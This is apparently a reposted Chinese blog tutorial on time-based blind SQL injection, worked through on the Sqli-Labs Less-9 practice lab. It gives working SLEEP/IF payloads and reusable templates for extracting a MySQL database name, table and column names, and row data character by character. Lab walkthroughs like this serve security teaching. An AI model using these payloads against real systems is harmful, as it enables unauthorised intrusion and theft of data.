SQL注入-时间盲注

SQL时间盲注（Time-based Blind SQL Injection），又叫延时注入，是一种SQL注入攻击技术，用于在无法直接获取查询结果或查看响应内容变化的情况下，通过引入时间延迟来推断数据库的信息；时间盲注依赖于数据库执行查询时的时间延迟，通过观察响应时间的变化，攻击者可以推测出查询结果。

这里以Sqli-Labs靶场的Less-9关卡为例子来阐述时间盲注的具体思路：

进入关卡首先构建参数id,并传入对应数据，可以发现无论传入的数据是什么，是正确还是错误，回显始终是一样的，说明此时布尔盲注是不管用的，这个时候就可以尝试使用时间注入。

1.判断是否存在注入漏洞

因为通过回显无法判断正确还是错误；所以此时需要使用mysql中的sleep()函数来判断此处是否存在注入漏洞；SLEEP() 函数在 MySQL 中用于引入延迟，它使查询在执行时暂停指定的秒数；此时可以构造语句：

1 and sleep(5)      //整型
1' and sleep(5) --+  //字符型，单引号闭合
1” and sleep(5) --+  //字符型，双引号闭合

在一切未知的情况下我们只能一个一个语句进行尝试，但是由于此时环境位渗透靶场，我们可以根据网站源码来进行理解（单引号闭合）：

此时完整请求代码：

SELECT * FROM users WHERE id='1' and sleep(5) --+' LIMIT 0,1

SLEEP(5) 函数使查询延迟5秒执行。如果这一部分被成功注入并执行，服务器的响应时间将增加5秒。

语句执行结果：

发生延时，证明存在注入漏洞，且注入类型为字符型注入使用单引号闭合。

接下去的注入的过程的核心函数if()函数；MySQL的IF函数用于执行条件判断，在满足某个条件时返回一个值，否则返回另一个值。其基本语法如下：

IF(condition, true_value, false_value)

  • condition: 需要评估的条件表达式。如果条件为真，则返回true_value。

  • true_value: 如果条件为真，函数返回的值。

  • false_value: 如果条件为假，函数返回的值。

接下去的核心语句if(查询语句,sleep(5),1)；即如果我们的查询语句为真，那么过5秒之后返回页面；如果我们的查询语句为假，那么直接返回结果。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。后续的步骤与布尔盲注基本一致。

2.判断数据库名的长度：

此时我们可以结合布尔盲注的语句进行语句构造：

1' and if(length(database())=4,sleep(5),1) --+

此时带入源码中的数据请求sql语句来理解：

SELECT * FROM users WHERE id='1' and if(length(database())=4,sleep(5),1) --+ ' LIMIT 0,1

  • LENGTH(database())=4：检查当前数据库名称的长度是否为4。

  • SLEEP(5)：如果数据库名称的长度为4，则使查询延迟5秒执行。

  • 1：如果数据库名称的长度不为4，则返回1，即条件为真。

判断数据库名长度的模板：

key' and if(length(database())=长度数据,sleep(5),1) --+

此处可以结合burpsuite进行数据库长度爆破。

3.判断数据库名

构造语句：

1' and if(ascii(substr(database(),1,1)) = 90,sleep(5),1) --+

带入程序中的查询进行理解：

SELECT * FROM users WHERE id='1' and if(ascii(substr(database(),1,1)) = 90,sleep(5),1) --+ ' LIMIT 0,1

  • SUBSTR(database(), 1, 1)：获取当前数据库名称的第一个字符。

  • ASCII(SUBSTR(database(), 1, 1)) = 90：检查该字符的ASCII码是否为90。

  • SLEEP(5)：如果条件为真，则使查询延迟5秒执行。

  • 1：如果条件为假，则立即返回1。

模板：

key' and if(ascii(substr(database(),1~数据库名长度,1)) = ascii码,sleep(5),1) --+

得到数据库名为："security"

4.推测数据库中的表信息
1)猜表的数量

构造语句：

1' and if((select count(table_name) from information_schema.tables where table_schema='security') = 4 ,sleep(5),1) --+

带入程序中的查询进行理解：

SELECT * FROM users WHERE id='1' and if((select count(table_name) from information_schema.tables where table_schema="security") = 4 ,sleep(5),1) --+ ' LIMIT 0,1

  • (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='security') = 2：检查 security 数据库中的表数量是否为2。

  • SLEEP(5)：如果条件为真，则使查询延迟5秒执行。

  • 1：如果条件为假，则立即返回1。

模板：

key' and if((select count(table_name) from information_schema.tables where table_schema='数据库名') = 表的数量 ,sleep(5),1) --+

最后可以得到表的数量为4。

2)猜表的名称的长度

此时可以构建语句进行测试：

1' and if(length(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1)) = 6 ,sleep(5),1) --+

结合程序语句理解：

SELECT * FROM users WHERE id='1' and if(length(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1)) = 6 ,sleep(5),1) --+ ' LIMIT 0,1

  • (SELECT table_name FROM information_schema.tables WHERE table_schema="security" LIMIT 0,1): 从 security 数据库中获取第一个表名。

  • SUBSTR(..., 1): 获取该表名的第一个字符（从位置1开始）。

  • LENGTH(...): 计算表名的长度。

  • IF(... = 6, SLEEP(5), 1): 如果长度为6，则使查询延迟5秒执行；否则立即返回1。

模板：

key' and if(length(substr((select table_name from information_schema.tables where table_schema="数据库名" limit 0~表的个数-1,1),1)) = 6 ,sleep(5),1) --+

3)猜表的名称

此处猜测表的名称与上述猜数据库名一样即可;也是每张表名一个字符一个字符的猜：猜对回显正常，猜错回显异常。

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)) = 101 ,sleep(5),1) --+

结合程序语句：

SELECT * FROM users WHERE id='1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)) = 101 ,sleep(5),1) --+ ' LIMIT 0,1

  • (SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1): 从 security 数据库中获取第一个表名。

  • SUBSTR(..., 1, 1): 获取该表名的第一个字符（从位置1开始，长度为1）。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(... = 103, SLEEP(5), 1): 如果 ASCII 码为 101（即字符 'e'），则使查询延迟 5 秒执行；否则立即返回 1。

模板：

key' and if(ascii(substr((select table_name from information_schema.tables where table_schema="数据库名" limit 0~表的个数-1,1),1~表的字符长度,1)) = Ascii码 ,sleep(5),1) --+

此处可以得到第一个表的名称为emails

5.推测数据列信息

此步也分为几个小步骤：猜列的数量–>猜列的长度–>列的名称；方法与上述求表一致只不过需要改一下指定的表以及限定要读取的表即可；以下为模板套着用就好了。

1）猜列的数量（需要用到上述得到的表名）
1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 ,sleep(5),1) --+

结合程序理解：

SELECT * FROM users WHERE id='1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 ,sleep(5),1) --+ ' LIMIT 0,1

  • (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='emails'): 从 security 数据库的 emails 表中获取列的数量。

  • IF(... = 2, SLEEP(5), 1): 如果列数量为2，则使查询延迟5秒执行；否则立即返回1。

模板：

1' and if((select count(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名)=2 ,sleep(5),1) --+

2）猜列名的长度（需要用到表名、获取的列的数量）

构造语句：（猜测第一张表中的第一个列的长度）

1' and if(length(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1))=2 ,sleep(5),1) --+

结合程序中的语句：

SELECT * FROM users WHERE id='1' and if(length(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1))=2 ,sleep(5),1) --+ ' LIMIT 0,1

(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1): 从 security 数据库的 emails 表中获取第一个列名。

SUBSTR(..., 1): 获取该列名的第一个字符（从位置1开始）。

LENGTH(...): 计算列名的长度。

IF(... = 2, SLEEP(5), 1): 如果长度为2，则使查询延迟5秒执行；否则立即返回1。

模板：

1' and if(length(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0~列数-1,1 ),1))=列名长度 ,sleep(5),1) --+

3）列的名称（需要用到表名、获取的列的数量、列名的长度）

构造语句：

1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1,1))=105,sleep(5),1) --+

带入程序理解：

SELECT * FROM users WHERE id='1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1 ),1,1))=105,sleep(5),1) --+ ' LIMIT 0,1

  • (SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1): 从 security 数据库的 emails 表中获取第一个列名。

  • SUBSTR(..., 1, 1): 获取该列名的第一个字符（从位置1开始，长度为1）。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(... = 105, SLEEP(5), 1): 如果 ASCII 码为 105（即字符 'i'），则使查询延迟5秒执行；否则立即返回1。

模板：

1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='数据库' and table_name='表' limit 0~列数-1,1 ),1~列名长度,1))=ASCII码,sleep(5),1) --+

此处可以得到一个列名id

6.推测数据
1）猜测当前数据的长度

具体思路与上述一样，直接上模板

1' and if(length(substr((select id from emails limit 0,1 ),1))=1 ,sleep(5),1) --+

带入程序：

SELECT * FROM users WHERE id='1' and if(length(substr((select id from emails limit 0,1 ),1))=1 ,sleep(5),1) --+ ' LIMIT 0,1

  • (SELECT id FROM emails LIMIT 0,1): 从 emails 表中获取第一个 id 值。

  • SUBSTR(..., 1): 获取该 id 值的第一个字符（从位置1开始）。

  • LENGTH(...): 计算 id 值的长度。

  • IF(... = 1, SLEEP(5), 1): 如果长度为1，则使查询延迟5秒执行；否则立即返回1。

模板：

1' and if(length(substr((select 列名 from 表名 limit 0~列的个数,1 ),1))=数据长度 ,sleep(5),1) --+

2）猜测当前数据

构造语句：

1' and if(ascii(substr((select id from emails limit 0,1),1,1))=49 ,sleep(5),1) --+

带入语句理解：

SELECT * FROM users WHERE id='1' and if(ascii(substr((select id from emails limit 0,1),1,1))=49 ,sleep(5),1) --+ ' LIMIT 0,1

  • (SELECT id FROM emails LIMIT 0,1): 从 emails 表中获取第一个 id 值。

  • SUBSTR(...,1,1): 获取该 id 值的第一个字符（从位置1开始，长度为1）。

  • ASCII(...): 计算该字符的 ASCII 码。

  • IF(...=49, SLEEP(5), 1): 如果 ASCII 码为49（即字符 '1'），则使查询延迟5秒执行；否则立即返回1。

模板：

1' and if(ascii(substr((select 列名 from 表名 limit 0~数据个数-1,1),1~数据名称长度,1))=49 ,sleep(5),1) --+

数据个数无需单独测试，从0开始往大了测即可，若数值大于数据个数则回显自然就不正常（即未延时）。

至此就是时间盲注的过程与思路。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/web/22287.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

什么是真正的高效阅读，高效阅读的方法和技巧

什么是真正的高效阅读，高效阅读的方法和技巧

一、教程描述 查理芒格说他认识的厉害的人没有一个不读书的，为什么我们也读书却成不了厉害的那个人呢？所以这绝对不是书的问题，而是人的问题。阅读应该带有目的性，要帮我们解决实际问题。如果读一本书只是读完它，那读…
阅读更多...
如何理解与学习数学分析——第一部分——数学分析概观

如何理解与学习数学分析——第一部分——数学分析概观

第1 部分：数学分析概观(Studying Analysis) 1. 数学分析之面目(What is Analysis like?) 本章说明了分析中的定义、定理和证明。 它介绍了一些符号，并解释了如何使用数学分析中的这些数学符号和数学词汇、以及应该把它们读成什么。它指出了这种类型的…
阅读更多...
CANDela studio的State

CANDela studio的State

State主要用来查看，点击State Groups，可以看到session和security下面有多少个会话和security level，所以删除和新建都不能在这里操作。 Dependencies没有安装插件，看不到图形不要紧，点击下面那个图标，就能编…
阅读更多...
【好物推荐】夏日肌肤守护者：护肤皂

【好物推荐】夏日肌肤守护者：护肤皂

随着夏日的到来，高温、潮湿和紫外线成为了肌肤的三大挑战。在这个季节里，护肤不仅仅是为了美观，更是对肌肤健康的一种保护。在众多护肤产品中，护肤皂因其清洁力强、使用方便等特点，成为了夏季护肤的得力助手。今天&…
阅读更多...
【Java基础】字符集

【Java基础】字符集

【Java基础】字符集 0. 预备知识1.计算机中的存储规则2. Unicode、UTF-83. 为什么出现乱码4. 如何防止产生乱码 0. 预备知识 字符集（Character Set）是多个字符的集合，它规定了字符在计算机中的编码方式。 字符集的定义与作用 字符集是各种…
阅读更多...
11 - 员工奖金（高频 SQL 50 题基础版)

11 - 员工奖金（高频 SQL 50 题基础版)

11- 员工奖金 -- join和left join的区别 -- 如果是join则右侧的数据有的就插，没的就啥也不干，交白卷，也不留null -- 但是left join让右侧数据在没有对应数据时补上了null select e.name,b.bonus from Employee e left join bonus b on e.empI…
阅读更多...
SpringBoot 统一返回格式

SpringBoot 统一返回格式

目录 一、为什么要统一返回？ 二、全局异常处理代码 三、统一返回对象代码 四、使用方法 五、结果展示 一、为什么要统一返回？ 在Spring Boot应用中，为了保持API接口的响应格式统一，通常会采用全局异常处理和自定义返回对象的方…
阅读更多...
Java进制转换

Java进制转换

进制介绍 二进制：0B开头，0-1 八进制：0开头，0-7 十进制：0-9 十六进制：0x开头，0-9和A-F public class Binary{public static void main(String[] args){//二进制 10int n10B1010//十进制 1010int…
阅读更多...
[协议]TCP协议

[协议]TCP协议

TCP,UDP协议工作在传输层 TCP基于连接； UDP基于非连接 TCP三次握手 UDP:不能保证丢包，传输稳定性不如TCP;
阅读更多...
场外期权怎么做？

场外期权怎么做？

对于中国的投资者而言，场外期权交易目前主要由特定的券商提供，并且仅对机构开放。个人投资者无法直接参与此类交易，但可以通过与这些券商合作的机构公司进行询价和下单。场外期权交易涉及一系列严谨的步骤，以下是其基本流程&#…
阅读更多...
QT中将资源文件（image、qss、qm等）封装到静态库中，程序该如何引用静态库中的资源文件

QT中将资源文件（image、qss、qm等）封装到静态库中，程序该如何引用静态库中的资源文件

1、静态库 2、主程序中使用第三方库中的资源文件 核心代码： int main(int argc, char *argv[]) {QApplication a(argc, argv
阅读更多...
【C++】优先级队列仿函数

【C++】优先级队列仿函数

目录 一.priority_queue的使用 二.仿函数 三、priority_queue的模拟实现 首先，我们先来了解一下什么是优先级队列 priority_queue，翻译为优先级队列，是一种容器适配器 底层容器可以是任何标准容器类模板，也可以是其他特定设计…
阅读更多...
面试一个多月，我上岸了！

面试一个多月，我上岸了！

大家好，我是枫哥，🌟阿里云技术专家、📝资深面试官、🌹Java跳槽网课堂创始人。拥有多年一线研发经验，曾就职过科大讯飞、美团网、平安等公司。目前组建的团队，专注Java技术分享，一对一…
阅读更多...
PromptPort：为大模型定制的创意AI提示词工具库

PromptPort：为大模型定制的创意AI提示词工具库

PromptPort：为大模型定制的创意AI提示词工具库 随着人工智能技术的飞速发展，大模型在各行各业的应用越来越广泛。而在与大模型交互的过程中，如何提供精准、有效的提示词成为了关键。今天，就为大家介绍一款专为大模型定制的创意AI…
阅读更多...
九、从0开始卷出一个新项目之瑞萨RZN2L生产烧录固件(jflash擦写读外挂flash)

九、从0开始卷出一个新项目之瑞萨RZN2L生产烧录固件(jflash擦写读外挂flash)

目录 七、生产烧录固件(jflash擦/写/读外挂flash) 7.1 flash母片读写 7.2 jflash擦/写/读外挂flash 九、从0开始卷出一个新项目之瑞萨RZN2L 七、生产烧录固件(jflash擦写读外挂flash) 七、生产烧录固件(jflash擦/写/读外挂flash) 7.1 flash母片读写 略 7.2 jflash擦/写/读…
阅读更多...
【Java】使用 BeanUtils.copyProperties 11个坑(注意事项)

【Java】使用 BeanUtils.copyProperties 11个坑(注意事项)

目录 背景 坑1：类型不匹配 坑2：属性名称不一致 坑3：BeanUtils.copyProperties 是浅拷贝 坑4：Null 值覆盖 坑5：注意引入的包 坑6：Boolean 类型数据 is 开头属性的坑 坑7：查不到字段引用 …
阅读更多...
【Linux】常用基本指令汇总

【Linux】常用基本指令汇总

前言： 本章将介绍Linux操作系统常用的基本指令，另外，使用这些指令编辑一个shell脚本，方便大家理解使用。 目录 常用指令whoamipwdls关于iNode的解释验证标识文件的方式 cdtouchmkdir（重要）treemdir指令 &a…
阅读更多...
Jmeter断言、关联、脚本录制

Jmeter断言、关联、脚本录制

Jmeter断言 断言：让程序自动判断预期结果和实际结果是否一致 提示: Jmeter在请求的返回层面有个自动判断机制（响应状态码 2xx:成功，4xx/5xx:失败）但是请求成功了，并不代表结果一定正确，因此需要检测机制…
阅读更多...
【保姆级图文教程】QT下载、安装、入门、配置VS Qt环境

【保姆级图文教程】QT下载、安装、入门、配置VS Qt环境

【保姆级图文教程】QT下载、安装、入门、配置VS Qt环境-CSDN博客 0.QT介绍 QT 是一个跨平台的应用程序开发框架，它提供了丰富的工具和类库，用于开发图形用户界面（GUI）程序。Qt 提供了 C 编程语言接口，同时也支持其他…
阅读更多...
王学岗鸿蒙开发(北向)——————(一)鸿蒙开发环境的搭建与ArkTs介绍

王学岗鸿蒙开发(北向)——————(一)鸿蒙开发环境的搭建与ArkTs介绍

1，鸿蒙系统开始研发的时间是在2012年。 2，目前鸿蒙有两个开发:HarmonyOS和OpenHarmony,前者内聚AOSP(Android的东西)，前者是双框架结构，后者不是双框架结构，没有内置安卓。 3，Harmony地址 4，我们…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023